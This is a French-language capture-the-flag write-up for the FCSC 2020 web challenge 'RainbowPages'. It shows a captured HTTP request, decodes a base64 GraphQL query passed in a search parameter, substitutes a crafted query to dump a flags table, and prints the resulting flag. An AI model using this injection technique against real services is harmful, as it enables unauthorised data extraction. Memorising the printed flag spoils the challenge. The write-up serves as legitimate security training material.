Writeup - FCSC-2020 - Web - RainbowPages
Writeup sur l’épreuve RainbowPages du France Cybersecurity Challenge 2020.
Énoncé
Nous avons développé une plateforme de recherche de cuisiniers. Venez la tester !
Solution
La page permet donc de chercher des chefs cuisiniers. Je lance une recherche :
GET /index.php?search=eyBhbGxDb29rcyAoZmlsdGVyOiB7IGZpcnN0bmFtZToge2xpa2U6ICIldGglIn19KSB7IG5vZGVzIHsgZmlyc3RuYW1lLCBsYXN0bmFtZSwgc3BlY2lhbGl0eSwgcHJpY2UgfX19 HTTP/1.1
Host: challenges2.france-cybersecurity-challenge.fr:5006
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.113 Safari/537.36
Accept: */*
Referer: http://challenges2.france-cybersecurity-challenge.fr:5006/
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=a6404b49723f89736210beb430d00106; session=eyJjc3JmX3Rva2VuIjoiMDQ3MzE1YjUzMTBjNGExODAyNmZmMTBkYjUwZTc5NGU1ZDI0MDVlMCJ9.XrEQkA.RHMeWiihOb4wktyg3nzR_e9Exn8
Je remarque un paramètre GET nommé search :
eyBhbGxDb29rcyAoZmlsdGVyOiB7IGZpcnN0bmFtZToge2xpa2U6ICIldGglIn19KSB7IG5vZGVzIHsgZmlyc3RuYW1lLCBsYXN0bmFtZSwgc3BlY2lhbGl0eSwgcHJpY2UgfX19
Décodé depuis la base64 :
{ allCooks (filter: { firstname: {like: “%th%”}}) { nodes { firstname, lastname, speciality, price }}}
On a donc affaire a graphQl, et je peux donc faire mes requêtes dans ce paramètre en base64 :
{ allFlags { nodes { flag }}}
En base64 ça donne :
eyBhbGxGbGFncyB7IG5vZGVzIHsgZmxhZyB9fX0K
Je lance donc une requête sur : http://challenges2.france-cybersecurity-challenge.fr:5006/?search=eyBhbGxGbGFncyB7IG5vZGVzIHsgZmxhZyB9fX0K
Et j’obtiens comme réponse :
{"data":{"allFlags":{"nodes":[{"flag":"FCSC{1ef3c5c3ac3c56eb178bafea15b07b82c4a0ea8184d76a722337dca108add41a}"}]}}}
Flag
Le flag est donc : FCSC{1ef3c5c3ac3c56eb178bafea15b07b82c4a0ea8184d76a722337dca108add41a}
Tags :